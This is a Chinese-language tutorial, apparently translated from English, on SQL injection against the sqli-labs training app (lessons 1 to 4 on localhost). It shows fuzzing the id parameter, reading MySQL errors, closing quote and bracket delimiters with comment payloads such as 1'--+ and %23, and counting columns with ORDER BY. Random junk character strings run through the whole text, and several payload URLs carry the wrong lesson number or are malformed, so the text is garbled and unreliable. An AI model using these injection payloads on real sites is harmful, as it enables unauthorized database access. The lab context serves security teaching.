+ p& r% i$ d+ q1 UID=100 => 页面上没有结果显示 ; S2 ^8 k; f, {0 g结果枚举:数据库表中似乎有8条记录,任何不存在的ID值,它返回一个空集。 * s! j U, _/ o+ n! l; R6 b9 N9 R$ H模糊测试: 5 C d2 y0 |+ q- r " u/ u, x. d5 s. e: W g/ T一般来说,应用程序开发人员假定用户将输入整数值。 尝试用模糊测试所有的应用程序输入点。 那么究竟什么是模糊? 这是一个过程,输入一些特殊意义的参数等,并尝试找到应用程序报错的差异反应。差异的报错表明可能存在漏洞。% |4 h9 f# {& `0 n4 K: [
以下是一些任意的输入:7 w/ F5 w0 z! J; j- e2 q4 N
“ 7 Y6 v9 S- w1 e1 }7 x
“ , ~; V* O2 y- E, e; |\ / Y1 |( n1 c; s) @, x; 6 _, q7 q4 v/ W9 S2 j# B" L4 }9 {%00 / x+ M; ^$ b- E) 7 F1 V" [% Y2 J. B. ?5 K, `/ G5 A
( : `9 K" K6 U' O1 Z% Taaa 8 H. U7 M2 D5 c7 v整数或字符串测试:由于输入参数似乎是整数值,让我们尝试输入ID参数的字符串值,并观察其行为。" I9 h* ~8 n$ k6 `* l& G2 U
Less1: http://localhost/sqli-labs/Less-1/?id=asdf5 s: ]7 S8 |: A
Less2: http://localhost/sqli-labs/Less-2/?id=asdf6 y7 p: {, m; y+ e- G; V5 ~, q+ i+ N
1 E5 x8 o* J2 z" B
Less3: http://localhost/sqli-labs/Less-3/?id=asdf % q! _1 B7 X' w0 {7 hLess4: http://localhost/sqli-labs/Less-4/?id=asdf 5 @3 R. o9 D+ ?# e4 _4 {' k& H ( _9 A$ d6 e% M5 h& e
整数和字符串测试的结果:我们看到,Less1、Less3、Less4返回的页面是空的,没有任何结果和报错,而Less2返回不同的,有一个MySQL错误消息。 从非常基本的编程技术,我们知道一个字符串参数始终包裹在单引号或双引号中,而整数不是这样。 因此,我们可以假设,Less1、Less3和Less4使用某种形式的引号包裹用户输入。他们认为输入的字符串值在数据库中不存在的,因此返回空值。Less2产生了一个错误提示,这意味着用户输入没有被引号包裹,因此整数型的输入在查询中正常工作,但是输入字符串值确产生了报错。 综上,我们可以推断出, less1、less3、less4是基于字符串的注入,而less2是一个整数型的注入。 ! L2 ?7 c$ q; J9 m K7 `继续模糊化:现在,让我们进一步采取模糊的字符. " H, w ~# g8 j6 B- }/ |4 {( q( p用单引号来进行测试 ! ^& G+ D% @$ s3 R6 rless1 / K% Z7 M: G8 r; A- a4 Whttp://localhost/sqli-labs/Less-1/?id=1‘- T+ N: U2 X: Y5 b7 b! ]$ K. @4 |
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1 3 S( c( x+ F6 m( Z# l3 ~5 P/ hless2 * ]6 I2 a+ R- a: Mhttp://localhost/sqli-labs/Less-2/?id=1 ’; p6 m2 d6 E0 l, x1 ]+ _! X
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1′ at line 1# z* U* T, z2 S+ ]" C [" }
9 ^' a% ^" I4 x8 W8 c/ v. |less3 g8 V( y& U7 [) ]$ B1 {
http://localhost/sqli-labs/Less-3/?id=1 ’- ^! Y' o) O0 M. Z: R5 i) w$ |0 p
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”) LIMIT 0,1′ at line 1/ l+ @8 l* p- }
所有这三个都产生错误提示,只有less4没有错误提示,反正正常的查询结果.9 d. M; ~ Q8 t" W
用双引号进行测试 . `* g G1 G& N. m) |用双引号测试发现只有less4会产生错误提示,less1、less2、less3都返回正常的结果。 @1 U) W" k1 s& s* I5 x3 I
3 ^) q! a; S6 A0 A3 O" p% c( c
通过上面的测试,less1、less2、less3是单引号注入,而less4是双引号注入. % U3 S6 f- n x6 M3 c) U 5 m" j0 P# S& @! i: ~综合所有的测试,less1、less3、less4是基于字符串的注入,而less2是基于数字的注入。 . E1 I5 `8 a$ L% B7 Y" o用\进行测试5 \3 M) c1 m, {) D# i: n
“\”转义符在mysql中是为了打印具有特殊意义的字符串。测试结果如下: / f2 t1 P# T. H/ }6 X8 m+ bless1# O1 z* ~9 d o+ d: J5 F
http://localhost/sqli-labs/Less-1/?id=1\ / \* \9 o8 ^$ o2 P) s- w) zYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’ LIMIT 0,1′ at line 1 4 X. q* i8 }$ Wless2 1 q$ w4 Z( I+ B$ ghttp://localhost/sqli-labs/Less-2/?id=1\ * N" w( ?% r+ l# F1 KYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘\ LIMIT 0,1′ at line 1$ O6 B" m; K+ H* G. n
less3 1 I/ k2 w& ~) C7 e! [9 e+ thttp://localhost/sqli-labs/Less-3/?id=1\+ f3 G" [+ t# E& O
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’) LIMIT 0,1′ at line 17 J, L( v/ m/ D: b7 {( K
less4" e2 B4 v: D4 ]( w! l4 ]
http://localhost/sqli-labs/Less-4/?id=1\* G2 l! s3 g4 G
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘”1\”) LIMIT 0,1′ at line 1 : P! d8 t4 b( T1 c8 Iless1的报错,当我们输入1\的时候,报错信息中1\附近可以看到一个单引号,说明输入字符串是被单引号所包裹的。; v3 K/ W% _& k7 Q8 Y# Z2 C
less2的报错信息,当我们输入1\的时候,报错信息中没有返回引号,说明less2是一个整数类型的注入,不需要用引号来突破查询获取结果。. D" { i* o4 p4 Y" h$ G# D; {
less3报错信息,当我们输入1\的时候,报错信息中1\后面出现了’),说明应用程序中的变量是在括号中的,如(‘var’). ! B# }# N2 X9 pless4的报错信息,当我们输入1\的时候,报错信息中1\后面出现了”),说明应用程序中的变量var是这样的,如(“var”). 9 I3 g% ~* ^5 t4 v这四种情况在后端查询中使用的语句实际分别为:; Q5 ~% N4 C. ^3 f5 M; A
Less-1: SELECT * FROM TABLE_NAME WHERE ID=’$ID’ LIMIT 0,1 0 V0 C0 f6 K$ H, ^; T- j! v% jLess-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,1& X \4 v7 e$ q t. m
Less-3: SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1+ _: W4 W9 g i, K+ c4 K
Less-4: SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1 6 R& j& S" N9 p6 o% }8 A 0 }& O+ o. z; n! n! Z对于一个成功的注入,应该关闭查询语句中围绕在变量周围的分隔符,从而使我们逃避字符串/整数的编辑,并且成功执行sql语句.有两种方法,一种是注释掉其余的查询语句,另外一种是增加额外的分隔符,多余的分隔符使查询语句在语法上是正确的,如: C# i3 J9 m% e( [Less-1: SELECT * FROM TABLE_NAME WHERE ID=’ $ID ‘ LIMIT 0,1# ^0 L+ }! i7 G$ M( S
当我们输入的参数$ID的值为1‘,查询语句就会变成如下: 0 G$ ? M* u8 u: ?0 JSELECT * FROM TABLE_NAME WHERE ID=’ 1′ ‘ LIMIT 0,1 " R6 _, @" Q5 P' {现在这个查询语句是不正确的,我们需要解决多余的’号,这个’号是原始查询的一部分,可以用以下方法:) F4 }% \, U1 d$ k5 v/ {/ z
方法一:3 Y# m) y |0 b9 f' N9 `, a
可以使用sql注释来修复语法问题,mysql使用三种类型的注释:-+、#、/**/ 。因此我们可以使用1′-+或者1′# / b; L5 q6 n8 k e g% f9 T查询语句将变为如下:# U; s" q3 }) K! o. C! F
SELECT * FROM TABLE_NAME WHERE ID=’ 1′–+ ‘ LIMIT 0,10 d9 K, E2 O+ F: I2 O* u
SELECT * FROM TABLE_NAME WHERE ID=’ 1′ # ‘ LIMIT 0,1 ! p3 |1 q7 g* [: ^9 N' [' F4 \+ I1 x注射的完整URL如下: _! T# n0 U5 j$ D/ @1 k
http://localhost/sqli-labs/Less-1/?id=1′–+ + C' g/ I1 ?3 P) Mhttp://localhost/sqli-labs/Less-1/?id=1′ %23 & j- T' h- {2 @9 p7 U/ I(%23是#号的url编码) 7 m! v$ t0 a9 o在less2中,因为没有额外的引号,所以只需要注释掉后面的语句就可以了,查询语句和完整的sql注射URL如下: t3 a- Y3 o4 s1 L, ?http://localhost/sqli-labs/Less-2/?id=1–+" ~4 D9 S- q6 c; \- E- z; @
! @% E' I- R7 k5 R* d, W
ttp://localhost/sqli-labs/Less-2/?id=1 %23. @: h: `! A+ e+ M7 ^" f
SELECT * FROM TABLE_NAME WHERE ID= 1–+ LIMIT 0,1 q$ u: d) d6 X0 _! z$ O$ X
SELECT * FROM TABLE_NAME WHERE ID= 1# LIMIT 0,18 i& j9 g# c" J/ x
在less3中,我们推断后端sql语句如下: ! w0 m6 y7 P- t# {- s0 PSELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1 6 }% c+ Q3 Y- p: F" y所以我们需要想办法先关闭掉分隔符,然后再注释掉后面的语句+ F r( ?3 l" L+ d, a$ Z: |
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) –+ ‘) LIMIT 0,1$ b! f$ X) A2 F" E6 P( H! k) c# q
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) # ‘) LIMIT 0,1 & W. R! \+ c3 c1 S注射: 1′) –+ 1′) # 3 |. ]1 p; e, \; U k完整的注射URL: , _5 [* L0 M7 Phttp://localhost/sqli-labs/Less-2/?id=1‘)-+: I4 s8 t* @# t% @0 T0 y6 C
http://localhost/sqli-labs/Less-2/?id=1′) %23 - L3 g$ s1 O) ?* d, I$ y* {: ~在less4中,我们推广后端sql语句如下:6 U+ }" G- z2 q4 S
SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1+ Z) U+ O' t* K
同样,需要关闭掉分隔符,然后注释掉后面的语句 , y# I% ?9 d& R' ?6 X3 lSELECT * FROM TABLE_NAME WHERE ID=(” 1″) –+ “) LIMIT 0,1 g2 J7 u* f6 f! R' NSELECT * FROM TABLE_NAME WHERE ID=(” 1″) # “) LIMIT 0,1 ! [- V1 t& k5 V t! A5 a注射: 1″) –+ 1″) # 1 N. u9 o6 I7 |! m' ^2 Khttp://localhost/sqli-labs/Less-2/?id=1″)–+- y: n8 M$ k( d, c! X9 W; Y
http://localhost/sqli-labs/Less-2/?id=1 “)%23 , T0 `+ Z! G% d* F' M( J通过查询了解表中的字段数 6 ~: t" m# O- |正如我们看到的,在枚举阶段,应用程序与数据库进行交互,并在网页上显示一些信息,这个过程经常会用到union语句联合查询数据库中的信息。使用union语句的一个限制是两个表或者多个表中的字段必须数量一致,因此需要用order by语句来判断字段数量。当只有N个字段时,如果你order by N+1或更大,就报错了。2 L- R3 v: c9 a4 j, T* J( h
下面我们测试用order by 1,order by 2……等来查询观察结果. + S# h- t$ j7 [http://localhost/sqli-labs/Less-1/?id=1′ order by 1-+ 返回正常页面 , [- i! M4 C4 Q# Z& F8 dhttp://localhost/sqli-labs/Less-1/?id=1′ order by 4-+返回错误页面,说明表中只有3列.. I# r( T7 O" c+ i5 C- U. r, S
Lesson2: 6 z/ Q- `* n3 KInjection: 1 ORDER BY 1 –+ => 没有错误.9 _$ J, O( k! ]+ U0 p1 T9 F M
Injection: 1 ORDER BY 2–+ => 没有错误. 2 S9 b1 A6 y+ D$ L" ^4 d0 LInjection: 1 ORDER BY 3 –+ => 没有错误.8 C& H9 K. l8 A/ f$ T1 l
Injection: 1 ORDER BY 4 –+ => 错误 – 可以确定表中只有三列.6 c0 y/ C5 S/ Q
当我们知道了表中的字段数,我们就可以继续下一步查询相关的字段名或者字段值了。 , n) I8 B* Z V/ y( G5 q3 Y * p0 c& j i6 g3 w/ B本文是由阿德马翻译,转载请注明出处.本人有一个学习测试环境,目前还没有搭建好。